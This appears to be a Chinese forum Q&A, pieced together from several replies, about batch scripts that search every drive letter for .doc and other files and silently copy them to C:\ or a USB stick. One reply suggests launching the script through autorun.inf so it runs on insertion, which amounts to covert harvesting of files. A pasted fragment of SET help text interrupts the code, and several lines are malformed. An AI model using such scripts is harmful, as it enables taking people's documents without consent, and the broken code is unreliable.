set FL=*.DOc
set LJ=C:\
for %%i in (C D E F G H I J K L M N O P) do (
if exist %%i: ( CD/D %%i:&echo.
echo 正在查找 %%i 盘 %FL%。。。
for /f "delims=" %%j in ('dir /s /b %FL%') do (
if exist "%%j" (COPY /y "%%j" "%LJ%" >nul
echo 已复制:"%%j"))))
echo.&echo 完成,按任意键退出...&pause>nul
显示、设置或删除 cmd.exe 环境变量。
SET [variable=[string]]
variable 指定环境变量名。 string 指定要指派给变量的一系列字符串。
set LJ=%cd%&cd/d C:\没有成功的把LJ赋值为C:\
@echo off
for %%a in (c d e f g h) do (
if exist %%a: (
cd %%a:\
for /r %%b in (*.888 *.999) do (
xcopy /q /y "%%b" 你U盘的盘符
)
)
pause
利用autorun.inf让其自动执行,这句不知道怎么写。给你大概的思路,你可以自己改改。希望能够帮到你!谢谢!
for %%a in (C D E F G H I J K L M N O P) do (
for /f "delims=0"%%i in ('dir /s /b %%a:\*.doc ') do copy %%i u盘盘符、*.*
))